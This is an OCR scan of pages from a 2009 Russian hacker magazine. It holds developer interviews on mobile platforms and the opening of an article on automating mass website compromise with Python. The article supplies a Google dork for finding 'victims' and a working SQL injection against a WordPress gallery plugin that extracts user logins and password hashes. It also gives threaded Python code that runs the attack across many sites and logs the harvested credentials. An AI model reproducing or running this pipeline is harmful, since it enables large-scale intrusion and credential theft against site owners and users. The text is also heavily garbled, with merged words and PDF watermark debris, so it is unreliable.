ОРАБОТЕ:концептуальнойразницымеждупроектамидляразныхсистем нет, нодляiPhone иAndroid, вобщем, получаетсялегче. Вдальнейшем разрабатыватьподAndroid будетсложнее(из-забольшогоколичества устройствнарынкеотразличныхпроизводителей, чтопотребуетдополнительныхработ).

++++++++++++++++++++++++++++++++

GETJAR ОТРАСЛИ:самыйпопулярныйвмирекаталогмобильногоПОи комьюнитиразработчиков.

ПЛАТФОРМЫ:Java, Symbian, Windows Mobile, BlackBerry, Palm, Flash Lite. Подробнее: getjar.com.

ОПЛАТФОРМАХ:сегоднясамойпопулярнойплатформой, безсомнения, являетсяJava. Вэтомнесложноубедиться, просмотревнашустатистику: stats.getjar.com. Большинствоизпервойдвадцаткиподдерживаеттолько Java. Ивообще, нарынкемаксимальноеколичествоJava-совместимых телефонов. Чтокасаетсяближайшегобудущего, точерез3–5 летлидерами станутSymbian иiPhone (вприведенномпорядке). Nokia активнопродвигаетSymbian, поэтому, покаонанесменитполитику, уSymbian будетогромная долярынка. ДолярынкаiPhone увеличитсяпослепоявленияболеедешевоймодели, чтодолжнослучитьсяотносительноскоро.

ОБANDROID:Android претендуетнаместодоминантнойLinux-платформы. Онпредлагаетгибкуюсистемулицензирования, ничегонестоитпроизводителямиудобендляразработчиков.

ОРАБОТЕ:отличиеGetJarотдругихмагазиновимобильныхприложенийв том,чтомынеограничиваемпользователякакой-тооднойилипаройплат- форм.Мыпредоставляеммаксимальныйвыбор,привлекаемразработчиков всехперспективныхплатформипозволяемимзаработать.Наиболееактивно развиваютсяотделыJava,Symbian,BlackBerry,WindowsMobileиAndroid.

++++++++++++++++++++++++++++++++

АЛЕКСАНДРТРУФАНОВ ОПЫТРАБОТЫ:Symbian OS (платфор-

мыS60 иUIQ), немногоWindows Mobile.

ЗАСЛУГИ:Accredited Symbian Developer, Forum Nokia Champion. ЛЮБИТ:Symbian OS, платформаS60.

НЕЛЮБИТ:iPhone

ОКОДИНГЕ:SymbianC++позволяетсделатьнаS60то,чтонемогутниJ2ME,ни какой-либодругойязыкпрограммированияилитехнология.Изучатьегоможно сразупослебазовогокурсаООПиC++,которыймногимчитаютввузе.Опытраз-

ночамизадебаггером. Всеэтоязнаюпособственномуопыту, такчтомой совет— сначалачитайтекнижкиинеодинраз, дотехпор, поканепоймете теорию, итолькопотомсадитесьзаCarbide.

ПоследниеSDK носятприставкуall-in-one: внихвходятсредстваразра-

боткинаSymbian C++, Open C/C++, Java, WRT (виджетыдлябраузера) и Python. ВкачествеIDE рекомендуюCarbide.c++ 2.х— этонаиболеемощный иудобныйинструмент, ктомуже, сдекабря2008 ставшийбесплатным. На данныймоментCarbide.c++ позволяетсоздаватьприложениянаSymbian C++, C/C++ иQt.

ОДОКУМЕНТАЦИИ:SDK комплектуетсявнушительнымсправочником. В целом, недостаткавдокументациипоплатформеSymbian нет. Единственнаяпроблема— оченьмалорусскоязычныхматериалов.

ОКОМЬЮНИТИ:заответаминачастныевопросыможнообратитьсяв Forum Nokia. Этополноценнаяорганизация, взадачикоторойвходитвзаимодействиесбизнесомиразработчиками. Задокументациейнарусском можносходитьнаdevmobile.ru.

ОБANDROID:Android слишкомсырой. Google удалосьотчастиповторить WOW-эффектApple, имногиепрограммистывозложилинанегонеобоснованныенадежды. Ноябыподождал, покаAndroid покоритобещанные

АЛЕКСАНДР

БАКУНОВИЧ

высоты, преждечемвсерьезрассматриватьэтуОС. Android ужесейчас имеетсерьезныепроблемыссовместимостью. Боюсь, дляэтойОСбудут характернывсенедостаткиJ2ME. СозданиеприложенийнаJava — занятиенесложное, поэтомусообществоAndroid-разработчиковдовольно многочисленно, азначит— высокаконкуренция. Какразработчик, ясейчас невижувозможностейполученияприбылиотсозданияприложенийдля гуглофонов.

ОБIPHONE: разработкаприложениядляiPhone неимпонируетмне поидейнымсоображениям. ПлатформаApple имеетбольшоечисло ограничений, каквследствиетехническихособенностей, такииз-за особойполитикикомпании. ЦелыеклассыприложенийдляiPhone создатьпростоневозможно. Средиоднотипныхпрограммсложнее конкурировать, инапервоеместовыходитмаркетинг, анемастерство разработчика.

ОДЕНЬГАХ:Symbian имеетрядпреимуществпереддругимиОС— это широкиевозможностиираспространение. СвойAppStore недавноорга-

++++работкиприложенийдляWindowsнетребуется—наоборот,можетпомешать. низовалSamsung, Nokia анонсировалаOvi Store ипредоставляетнабор

«Индусскийкод», пренебрежениеправилами, даженарушениесогла-

различныхпрограммповзаимодействиюсбизнесомиканалыпродаж

шенияобименованииобъектов— отольютсяпрограммистубессонными

софтаиконтента.

++++

094

XÀÊÅÐ 05 /125/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

codingw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

++++++++++++++++++++++++++++++++

АЛЕКСАНДРБАКУНОВИЧ ОПЫТРАБОТЫ:J2ME, Windows

Mobile 2003/2005/6.0, Android. ЗАСЛУГИ:Senior Developer.

ЛЮБИТ:J2ME (MIDP 2.0+), Windows Mobile. НЕЛЮБИТ:Symbian.

ОБANDROID:наGoogle Android легкоперейти, еслихорошознаешьJava. У языка/платформыестьсвоисложностиизаковырки, ногдеихнет? Вообще, впланезаковырокувсехтелефоновнормальноераспределение, тоесть, у всехколичествобаговпримерноравно:). Google сумеласваятьоченьудобныйSDK, создавусловиядлякомфортнойработыдевелопера. Понятно, что всеэтоещедовольносыроеибудетменяться, ноужесейчастутмноговсего удобного. ИнадGoogle невиселхвостсовместимостиспредыдущими версиямиплатформыиархивомдевайсов, поэтомуAPI дляAndroid чищеи красивее.

ОДОКУМЕНТАЦИИ:документациюсделалипочтиидеально— подробная идоходчивая. Ябыоценилна4 попятибальной. Даикомьюнитиужесфор-

«GOOGLEСУМЕЛАСВАЯТЬ ОЧЕНЬУДОБНЫЙSDK,СОЗДАВ УСЛОВИЯДЛЯКОМФОРТНОЙ РАБОТЫДЕВЕЛОПЕРА.ПОНЯТНО,ЧТОВСЕЭТОЕЩЕДОВОЛЬНОСЫРОЕИБУДЕТМЕНЯТЬСЯ, НОУЖЕСЕЙЧАСТУТМНОГО ВСЕГОУДОБНОГО».

мировалось. Засоветомипомощьюсмеломожношагатьнаcode.google. com/android/groups.html.

ОБОСТАЛЬНЫХ:личномне, наверное, большевсегонравитсяJ2ME (MIDP 2.0+). Онанаиболеепродумана, хотяисосвоиминедостатками. Раздражает вопроссовместимостисразнымимоделямителефонов, когдаукаждого производителяопределенныйнаборAPI.

Навторомместе— Windows Mobile. ЭтаОСдаетпрограммистубольшевозможностейпоуправлениюжелезомтелефона, ноизнатьнужнобольше. Для

J2ME идляWM естьотличныеIDE (Eclipse иVisual Studio) исредстваотлад-

ки. Оченьмногодокументациииразличныхhow to.Итам, итамнуженопыт, сразумалочтополучается. Переходнаэтуплатформуозначаетмаксимум сидениязадебагоминафорумах, минимумкодинга. ПодWinMo помогает опытпрограммированияWinAPI. Symbian мнесовсемнепонравилась.

Возможно, потомучтознакомотносительноповерхностно.

ОДЕНЬГАХ:покавозможностипродаватьчерезAndroidMarketнет,но обещают,чтовот-вотбудет.ЯсейчасразрабатываюAugmentReality—игру дляAndroid.Можносчитать,чтоэтохобби.Надеюсь,изнегополучитсячто-то достойное.

++++++++++++++++++++++++++++++++

АНДРЕЙОБРАЗЦОВ ОПЫТРАБОТЫ:J2ME, Sony-Ericsson UIQ, Motorola, немногоBlackBerry OS ибылиещеплатформыотLG иSamsung. ЗАСЛУГИ:Sun Certified Mobile Application Developer.

ЛЮБИТ:Sony Ericsson — 4ever!

НЕЛЮБИТ:S40, S60 забольшоеколичествонедокументированныхограничений.

ОJAVAME:участникиJavaCommunityProcessвоглавесSunусиленнодора- батываютJavaME,ноновыерешенияпринимаютсякак-тооченьмедленнои

XÀÊÅÐ 05 /125/ 09

АНДРЕЙ

ОБРАЗЦОВ

несогласованно,поэтомупроизводителиделаютсвоинисчемнесовместимые API.Отсюдавсепроблемыиголовнаяболь.НесуществуетстандартногоAPIдля обработкизвонковилиInstantMessaging,нетSIP-стекадляVoIP,астандартный наборUI-компонентовболеечемскромен.Всеэтоимногоедругоеукаждого производителяуникально,акодеруприходитсяподстраиваться.Лучомсветав темномцарствевыглядитJavaFXMobile,ноэтобудущее.Возможно,далекое.

ОКОДИНГЕ:Java ME посинтаксисупрактическисовпадаетс«большой» Java. Отсутствуетfinalization, JNI дляработысбиблиотеками, написанными ненаJava, иестьряддругихограничений. Всеклассы, относящиесякME, сгруппированывнутрипакетовjavax.microedition. Стандартныесредства языкасгруппированыпотемжепакетам, чтоивJava SE, только, конечно, в весьмасокращенномсоставе.

Большимнедостаткомявляетсяотсутствиеинструментовдляудобнойотладкиприложенийнаустройствах,ведьработающаянаэмуляторепрограммавовсенеобязательнотакжебезпроблембудетисполнятьсянателефоне!

ОСОВМЕСТИМОСТИ:когдаречьзаходитоменеетривиальныхвещах

(например, progressive download, Bluetooth-чатснесколькими(болеечем1)

устройствами), обнаруживаетсямассаплоходокументированныхособенностей, приспособитьсяккоторымпредстоитнепосредственнопрограммисту. Кромевсегопрочего, реальныеустройствастрадаютвсяческими ограничениямивресурсахипрочиминеприятными«сюрпризами».

ОДОКУМЕНТАЦИИ:все, чтокасаетсябазовойплатформыJTWI-устройств

(Java Technology For Wireless Industry),— хорошопроработаноиотлажено.

Нодьяволкроетсявдеталях, идобравшемусядотестированияприложения нателефоневрядлиудастсяобойтисьбезуглублениявдетали. Готовьтеськ часамкорпениявdebug’e.

ОКОМЬЮНИТИ:существуетнесколькобольшихдевелоперскихкомьюнити, посвященныхразработкемобильныхприложений.Впервуюочередь,эторе- сурсы,поддерживаемыепроизводителямителефонов.Лучшие—уNokia,Sony Ericsson,Motorola.Кроме,естественно,спецификацийиguide-lines,доступных дляскачивания,ответынанекоторыевопросы,связанныесособенностями имплементациитойилиинойфункциональности,можнонайтинафорумах. ОБANDROID:вмобильномподразделениикомпанииScienceSoft (www. sciencesoft.com) , гдеяработаю, мыучаствуемвпроектахповсемнаправлениямразвитиямобильнойJava: J2ME, Blackberry (котораяочень близкакстандартамSun), Android. Сейчасмногиеjava-программистыс надеждойсмотрятвсторонуAndroid. Онтакиоткрылмногиенедоступ- ныеj2me-шникамAPI — этоотличнаяноваянишадляростадолирынка Java, пустьиневруслеполитикиSun. АкJ2ME-платформевполноймере применимысловагенералаДеГолля: «Ееждетвеликоебудущее, ивсегда будетееждать... ».z

095

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

++++ BUY

>>m

 

 

 

 

 

 

coding

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

++++

 

 

 

 

 

 

 

 

++++

 

 

 

 

 

 

РОМАН «SPIRIT» ХОМЕНКО

 

 

 

 

 

 

 

 

 

 

 

 

/ HTTP://TUTAMC.COM /

++++КОНВЕЙЕРНЫЙХАК

++++ПО-ПРОГРАММЕРСКИ

++++АвтоматизациявзломасайтовспомощьюPython

++++Захватитьодинсайт, кпримеру, зачас— хорошо. Асотню? Вотуж

действительноздорово! Вэтомнелегкомделехакерампомогают

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

++++программерскиесредстваавтоматизации. Сейчасмы, наоснове конкретногопримера, напишемтулзунаPython, спомощьюкоторой

++++захватимнесколькодесятковсайтов.

Средимножествасайтов, накоторыеподписа-

++++намояRSS-читалка, почетноеместозанимает крупнейшийбаг-трекерhttp://milw0rm.com. Постоянноечтениеданногоресурсасовременемподвеломенякинтересноймысли— как

++++напрактикеприменитьвсюэтукучупостоянно обновляющейсяинформации. Ярешилсоздать своймаленькийхак-конвейер, которыйнавход будетприниматьсвежиебагисmilw0rm, ана

++++выходе— выдаватьмного-многопаролейксай- там. Кактыдогадываешься, идеюянетолько довелдопрактическойреализации, ноигорю желаниемподелитьсястобойподробностями.

++++Общийалгоритмработынашегозаводикабудет таким:

• Достатьсписоквсехсайтов, теоретически содержащихуязвимость;

++++• Попытатьсяэксплуатироватьуязвимостьв каждомизних.

Приступим!

++ ++ ПРИМЕРДЛЯКОНВЕЙЕРА

Надвыборомпримерадолгомучитьсянебудем. Возьмемпоследнее, чтоестьнаmilw0rm подлюбимыймногимиWordPress — http://

++++milw0rm.com/exploits/8229, гдеописанабагав плагинегалереиfMoblog:

Wordpress Plugin fMoblog Remote SQL

++++Injection Vulnerability Author: strange kevin

Dork: "Gallery powered by fMoblog"

++++Exploit: http://www.site. com/?page_id=[valid_id]&id=- 99+union+all+select+1,2,3,4,group_

concat(user_login,0x3a,user_ pass,0x3a,user_email),6+from+wp_ users--

СПИСОКЖЕРТВ

Любоймассовыйзахватсайтовначинаетсяс поискаподходящихкандидатур. Вописании авторлюбезнопредоставилdork — фразудля поиска, спомощьюкоторойможнополучить солидныйсписокпотенциальныхжертв.

Правда, исходяизопыта, оннесовсемнам подойдет, ведьдлясплоитануженвалидный идентификаторстраницы. ЭтотидентификаторпоисканамнадобудетполучитьодновременносURL страницы, поэтомудоркмы изменимна:

inurl:page_id+"Gallery+powered +by+fMoblog"

АтеперьпропарсимГуглповышеозначенному дорку:

http://www.google.com/

search?q=dork&start=0

После загрузки страницы мы применим регулярку, получив с ее помощью список URL уязвимых сайтов. Составить регулярку легко, посмотрев на исходную страницу Гугла после поиска: все нужное нам находится в теге «а», который идет после элемента с классом «r». Итак, прошу любить и жаловать наш регэксп:

class=r><a href="([^»&]*)

Здесьвидим,чтовквадратныхскобкахуказано взятьвсесимволы,кромедвойныхкавычекили знака&. Послеобработкирэгэкспомстрокавида:

...<h3 class=r><a href="http:// saturdaybang.org/?page_ id=12&id=16"...

– вернетсякнамвпервомпараметреввиде: http://saturdaybang.org/?page_id=12, чтонами требуется.

Используяэтизнания, напишемскриптпарсинга(google.py), которыйбудетскладыватьрезультатывфайл(например, google.txt). Наэтом скрипте, всилуегопростоты, мыостанавливатьсянебудем, комментированныеисходники тысможешьнайтивоврезке. Ялишьзамечу, чтотамподключенодиннеизвестныйтебесамописныймодульcurl, размещенныйвфайле curl.py. Онпредставляетсобойобверткунад pycurl. Curl.py состоитвсегоизоднойфункции, котораяоблегчаетиспользованиеpycurl при Get-запросах. Этафункцияurl_get принимает одинпараметр— URL сайта, авозвращаетили пустоезначение, еслизапроснеудался, или телоответа. Рассмотримегоболееподробно:

curl.py

#подключаем модули для работы с сетью и для работы со строками

import pycurl import StringIO

#в аргументе передаем URL запроса def url_get(url):

#инициализируем объекты

data = StringIO.StringIO()

++++ 096

XÀÊÅÐ 05 / 125 / 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

>> coding

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

curl = pycurl.Curl() #настраиваем pycurl curl.setopt(

pycurl.FOLLOWLOCATION, 0) curl.setopt( pycurl.CONNECTTIMEOUT, 30) curl.setopt(pycurl.URL, url)

curl.setopt(pycurl.WRITEFUNCTION,

data.write)

try:

# исполняем запрос curl.perform()

except: pass

curl.close()

# возвращаем результат return data.getvalue()

Послезапусканаписанногоскриптаgoogle.py намибудетполученфайлgoogle.txt сосписком теоретическиуязвимыхсайтов, благодарячему мыможемперейтиксамомуинтересному— к разработкесистемытестирования.

ПРОЕКТИРОВАНИЕЗАВОДА

Скрипттестированияреализуетсяразными способами, номнебыхотелосьсделатьставку науниверсальность— багипоявляютсявсякие, искриптдолженбытьдостаточногибким, чтобыегоможнобылобыподнихоперативно модифицировать. Вобщем, ярешилразделитьвсехозяйствонадвечасти. Взадачи первой(главной) частибудетвходитьоткрытиеспискасайтов, запускфункциипроверки,

асамуфункциюпроверкимывынесемв отдельныйфайлрадиобеспечениягибкости. Пустьглавныйфайлбудетназываться autotester.py, афайлсфункциейтестирования

wp.py.

РАЗРАБОТКАWP.PY

Модульwp.py состоитизконфигаиоднойфункции. Вконфигевпеременнойmax_count_thead мыукажеммаксимальноеколичествопотоков,

азатем, впеременных, укажемназванияфайлов, которыенамнужны:

file_google = «google.txt» file_success = «success.txt» file_failed = «failed.txt» max_count_thead = 20

Вfile_google будутнаходитьсятестируемые сайты. Вfile_success попадетудачныйрезультаттестирования, авfile_failed — неудачный. Сфайламиестьодиннюанс. Намнужно, чтобывсепотокимоглизаписыватьинформациювфайлыбеспрепятственно. Сделатьэто вфункциитестированиянельзя, таккакона будетисполнятьсявпотокевпроцессезаписивфайлыизнесколькихпотоков. Поэтому открытие, закрытиеисамузаписьпредстоит вынестивглавнуюпрограмму, афункции тестированиябудутлишьвызыватьих. Для этогоподключимвнашеммодулетестированияглавнуюпрограмму, чтобыиметьдоступ кфункциям, которыемыназовемsuccess и failed. Ихподключениявыполнимтак:

from __main__ import success,failed

__main__ — этоспециальнаяпеременная, котораяопределяетглавныймодуль. Теперь, кпримеру, чтобызаписатьинформациюо неудачномвзломе, нужновызвать:

failed('site')

Самифункциимыразработаемвпроцессесозданияглавногомодуля. Перейдемкразработке функциитестирования. Пустьонабудетназыватьсяrun ивкачествеаргументапринимать url сайтадлятестирования:

import curl import re def run(url):

new_url = url + '&id=- 999+union+all+select+1,2,3,4, group_concat( 0x3a,0x3a,user_ login,0x3a,user_pass,0x3a,0x3a),

6+from+wp_users--'

rez = curl.url_get(new_url)

rez = re.findall('::(.*)::',rez) if (len(rez)==0):

failed(url) else:

success(url + ':' + rez[0])

print '# ' + url + ' tested'

Сначалавнейделаетсязапрос, вкотором присутствуетSQL-инъекция. Онавернетнам логиныипароли. Привыводерезультататот обрамляетсядвоеточием(0x3a) — благодаря чемурезультатмысможемизвлечьпростой регуляркой.

Результатыудачноговзломазаписываются всоответствующийфайл, анеудачноговыносятсянапозорныйстолб, имякоторому— failed.txt.

МНОГОПОТОЧНОСТЬ

В ядре мы будем использовать многопоточность. Для лучшего понимания предварительно изучим немного теории. Многопоточность в питоне довольно проста и реализовать ее можно разными методами. Мы рассмотрим только один (мой любимый). Для его использования нужно объявить библиотеку «thread» через команду «import thread», а дальше — спокойно запускать абсолютно любую функцию как поток командой thread.start_new_thread.

Длядемонстрацииданногоподходаобъявим простенькуюфункциюсоднойинструкцией «pass» (вPython нельзяобъявитьциклили функциюсовсембезинструкций):

def some_function(): pass

Далеезапустимэтуфункциюкакпоток:

thread.start_new_thread( some_function,())

Апосколькупрелестьпотоковвихколичестве, тозапустимсразудесятьштук:

for i in xrange(0,10): thread.start_new_thread(

some_function,())

XÀÊÅÐ 05 / 125 / 09

097

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

++++ BUY

>>m

 

 

 

 

 

coding

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

++++

 

 

 

 

 

 

 

 

 

 

++++

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

БЛАГОДАРЯ

++++

 

 

 

 

 

 

 

 

МУЛЬТИКУ, МЫ

 

 

 

 

 

 

 

 

 

 

ЗНАЕМ, КАК

 

 

 

 

 

 

 

 

 

 

ВЫГЛЯДИТ

 

 

 

 

 

 

 

 

 

 

PYTHON

++++

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ФАБРИКАХАКА

 

 

ИМЕННОЭТОМУШОУPYTHON

 

 

 

 

 

 

 

 

ОБЯЗАНСВОИМНАЗВАНИЕМ

 

 

 

 

 

 

 

 

 

 

 

++++

 

КРУПНЕЙШИЙБАГТРАК

 

 

 

 

 

 

++++

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

++++

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

++++

NETBEANS — УДОБНАЯСРЕДАДЛЯПРОГРАММИН-

 

 

 

 

 

 

 

 

ГА. ВПОСЛЕДНЕЕВРЕМЯОНАПОЛНОСТЬЮЗАМЕ-

 

СКРИНОДНОЙИЗЖЕРТВ

 

 

 

НИЛАМНЕECLIPSE

 

ПОСЛЕИНЪЕКЦИИ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

++++

Здесьестьпроблема— отсутствуетвстроенное средство, котороебыконтролироваловыполнениепотоковиихколичествоприиспользовании

++++модуляthread. Главнаяпрограммаможетзавершиться, недожидаясьвыполненияпотоков! Длярешенияэтойпроблемыдостаточноввести дополнительнуюпеременную, котораябудет

++++хранитьколичествоактивныхпотоков. Назовем ее«count_thread» ивначалеприсвоимей0, чтобудетозначать, чтоколичествозапущенных потоковравнонулю. Прикаждомзапускепотока

++++нужноувеличиватьнашфлагна1:

for i in xrange(0,sys.argv[3]): count_thread += 1

++++thread.start_new_thread(

some_function,())

Крометого, вкаждуюфункцию, которуюмы

++ ++ планируемзапускатькакпоток, нужнодобавить изменения, чтобыонапризавершениисвоей работыуменьшалафлагпотоковнаединицу:

++++def some_function():

global count_thread count_thread -= 1

++++Вконцепрограммымынапишембесконечный цикл, ждущийзавершениявсехпотоков:

while (count_thead»0):

++++pass

Теперьприменимэтовнашейпрограмме.

РАЗРАБОТКАЯДРА

В главной программе первым делом нужно подключить функцию тестирования. Пусть имя файла с функцией будет храниться в переменной:

file_test_site = 'wp'

Еслижепопробоватьвызватьimport file_test_ site, топитонвыдастжалобунаотсутствиетакогомодуля. Поэтомуподключатьнужночерез специальнуюфункциюследующимобразом:

test_site = __import__( file_test_site)

Благодаря этой строчке, все функции и переменные с wp.py будут доступны через переменную test_site в главной программе. К примеру, чтобы обратиться к переменной с максимальным количеством потоков, объявленной в wp.py, нужно написать следующее:

print test_site.max_count_thead

Далеепоходупрограммынамполагается открытьнеобходимыефайлы, именакоторых определенывфайлеwp.py:

fi = open( test_site.file_google,'r')

site_list = fi.readlines() site_list = uniq(site_list) f_success = open(

test_site.file_success,'w') f_failed = open(

test_site.file_failed,'w')

Здесьвсеизвестно, кромефункцииuniq. Она написанадляборьбысдублирующимися сайтами(еслиониостанутсяпослепарсинга Гугла). Кодфункциитаков:

def uniq(inlist):

#объявим пустой список rez = []

#цикл по всему входному списку for item in inlist:

#если элемента нет в исходящем списке

if item not in rez:

# добавим элемент в результат rez.append(item)

return rez

Не забудь также написать функции для записи результатов. К примеру, успех мы зафиксируем так:

def success(text): global f_success

f_success.write(text + "\n") f_success.flush()

Тутмывидимфункциюflush, постоянносбрасывающуюфайловыйбуфернадиск— этот маневрспасетнамытыеданныеотвнезапного завершенияпрограммы. Затемидетглавный

++++

098

XÀÊÅÐ 05 / 125 / 09

Соседние файлы в папке журнал хакер